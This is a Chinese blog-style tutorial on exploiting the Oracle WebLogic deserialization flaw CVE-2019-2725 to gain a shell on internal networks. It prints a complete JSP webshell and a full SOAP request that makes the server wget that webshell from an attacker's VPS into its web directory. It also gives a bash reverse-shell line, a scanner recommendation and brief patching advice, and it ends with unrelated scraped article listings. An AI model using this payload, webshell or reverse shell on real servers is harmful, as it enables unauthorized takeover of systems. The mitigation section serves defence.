//去年存货

前言

在学习内网过程中遇到了weblogic比较常见的漏洞,编号是cve-2019-2725,之前没有总结过,于是本篇文章给大家总结归纳一下该漏洞的利用方法与原理。

基础知识

cve-2019-2725漏洞的核心利用点是weblogic的xmldecoder反序列化漏洞,攻击步骤就是将WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,在未授权的情况下远程执行命令,获得目标服务器的权限。影响版本如下:

Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0

该漏洞经常作为打进内网的漏洞点,还是挺重要的,下面给大家讲解如何利用该漏洞来进行getshell。

利用过程

扫描端口扫描到了7001端口开放,于是我们先访问一下7001端口:

可以看到有weblogic的错报信息,说明网站有weblogic服务,于是我们判断有没有该漏洞,当我们访问有weblogic服务网站的时候可以访问以下路径:

_async/AsyncResponseService

发现回显页面如下:
发包返回了200,说明存在该漏洞,或者访问:

_async

存在以下页面说明存在漏洞:
已经得知存在cve-2019-2725漏洞后,我们便可以开始构造攻击。
我们需要构造一个JSP木马,可以查看下面的例子,木马的连接密码为xino:

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("xino");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

写完木马后我们需要将该木马放入我们的出网服务器里,需要注意的是服务器需要拥有web服务,因为之后会用wget命令来下载木马,之后我们查询我们要将木马上传到什么路径上去,访问如下地址:

/_async/AsyncResponseService?info

找到了上传路径为:

/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/

之后我们需要构造表单来将木马上传到该路径里,可以参考下面的攻击代码:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget https://vps/xino.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/xino.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

之后我们就可以利用webshell管理工具去进行连接即可,当然这只是一种利用类型,我们还可以直接反弹shell到服务器,需要将string里的内容改为如下代码:

bash -i >& /dev/tcp/target ip/target port 0>&1

当发包后服务器返回下图,可以判断我们攻击成功:
漏扫工具
可能有朋友会问,weblogic这么多漏洞要怎样判断属于哪个漏洞呢,这里推荐一个weblogic中间件漏洞扫描工具weblogic-scan,下载链接如下:

https://github.com/dr0op/WeblogicScan

安装依赖:

python -m pip install -r requirements.txt

使用样例:

python WeblogicScan.py -u 127.0.0.1 -p 7001

扫描后发现:
可以看到该工具还是十分好用的,可以作为我们渗透时判断漏洞类型的快速方法,有兴趣的小伙伴可以自己下载去试一试。

修复方法

该漏洞的危害是不言而喻的,下面提出几个修复的方法:

1.可以去官方下载该漏洞的补丁包
2.升级JAVA版本到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
3.修改访问控制策略,限制对/_async/及/wls-wsat/路径的访问,这样就上传不了攻击木马了。
4.删除wls9_async_response.war与wls-wsat.war文件及相关数据,因为该漏洞由WAR包的缺陷引起,删除可以缓解,不过需要备份一下。

结语

简单分析了一下cve-2019-2725漏洞的原理以及攻击修复方法,因为之前没有总结所以特地写一个文章总结一下,如果对大家有帮助不妨一键三连支持一下。

CVE-2019-2725相关推荐

  1. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  2. 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...

    0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...

  3. VMware vCenter Server Appliance Photon OS安全修补程序

    VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...

  4. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  5. 2023年4月Kali MSF命令模块最详细模块与利用解释整合

    前言 注意:前提概要<请遵守您本国家的相关法律法规,如有其他疑问或者任何事情与我本人无关> 开始 首先我们启动命令 msfconsole 我们应该都知道msf有三个大模块 use auxi ...

  6. 2019全球AI人才报告发布:AI专家仅3.6万

    有很多证据表明,顶级AI人才供不应求.然而,这类人才究竟有多么稀缺,或者他们都集中在世界各地哪些地方,却几乎不为人知. 近日,加拿大Element AI首席执行官发布了最新的2019年<全球AI ...

  7. cve20190708补丁的kb名称_微软KB4495667补丁(CVE 2019-0708补丁)V1.1 官方版

    微软KB4495667补丁(CVE 2019-0708补丁)是一款很优秀好用的微软升级补丁工具.这款微软KB4495667补丁是针对2019年新发现的Windows系统漏洞CVE-2019-0708的 ...

  8. vmware 蓝屏_网络安全小百科--利用微软CVE 2019-0708漏洞让对方系统蓝屏死机

    漏洞背景: Windows 系列服务器于 2019 年 5 月 15 号,被爆出高危漏洞,该服务器漏洞利用方式是通过远程桌面端口3389进行攻击的.这个漏洞是今年来说危害严重性最大的漏洞,跟之前的永恒 ...

  9. 2019年开源安全现状调查报告发布

    Snyk 今天发布了2019年开源安全现状调查报告,这是一家针对开源项目提供安全服务的知名公司. 前言 为了更好地了解开源领域的安全现状,以及我们该如何让开源世界的安全性变得更好,Snyk 公司通过对 ...

  10. 2019 开源安全报告:开发者安全技能短板明显,热门项目成漏洞重灾区!

    近年来,开源软件的使用范围正在不断扩大,"拥抱开源"似乎也成了一种企业间的普遍趋势.特别是在 2018 年,科技巨头纷纷加注--微软以 75 亿美元收购了 GitHub:IBM 以 ...

最新文章

  1. 学习《Linux设备模型浅析之设备篇》笔记(一)
  2. oracle+system空间满了,oracle审计导致system表空间爆满的处理方法
  3. 【无私分享:从入门到精通ASP.NET MVC】从0开始,一起搭框架、做项目(8) 权限管理,自定义权限,扩展权限...
  4. VS系列编译器内部调用malab(32位/64位)函数指南
  5. JNI开发笔记(一)--Android Studio安装与环境搭建
  6. pythonlambda菜鸟教程-Python reduce() 函数
  7. kvm在centos6.4-minamal-64位下的安装
  8. oracle恢复被覆盖的存储过程
  9. 使用JMeter进行压力测试
  10. 学生抗疫HTML网页设计作品 学生疫情网页模板 大学生抗疫感动专题网页设计作业 HTML学生抗疫网站作业设计
  11. Xftp5 安装教程
  12. 设计100倍同向放大电路
  13. js发布订阅原理,代码解析
  14. 最简洁的Git的基本操作
  15. 【英语语法入门】 第29讲 情态动词的否定和疑问
  16. 获取手机联系人信息(姓名 电话号码)
  17. 鸿蒙系统比安卓快,华为自研的鸿蒙系统比安卓快60%
  18. vscode连接电脑虚拟机上的ubuntu
  19. python 教程 w3 school_python爬取w3shcool的JQuery课程并且保存到本地
  20. python cx oracle 11g,怎么在python中使用cx_Oracle模块连接Oracle数据库

热门文章

  1. c++二叉排序树的非递归插入与递归插入,递归之间不同写法的思考
  2. 学计算机西电和中南,放弃中南大学等985高校,去南航、西电的强势专业到底值不值得呢?...
  3. HPE MSA存储的高性能连接解决方案
  4. 大米新闻微信小程序和Springboot新闻管理系统项目源码
  5. 蓝牙耳机牌子排行榜2020:性能最强的蓝牙耳机排名前十
  6. Maya2022和C4D哪个更好用?
  7. python rgb转整数,如何在Python中将RGB转换为CMYK和反之亦然?
  8. WhatsApp 电脑版如何下载安装?
  9. 资产配置方案(作业)
  10. Jetson Nano开发套件安装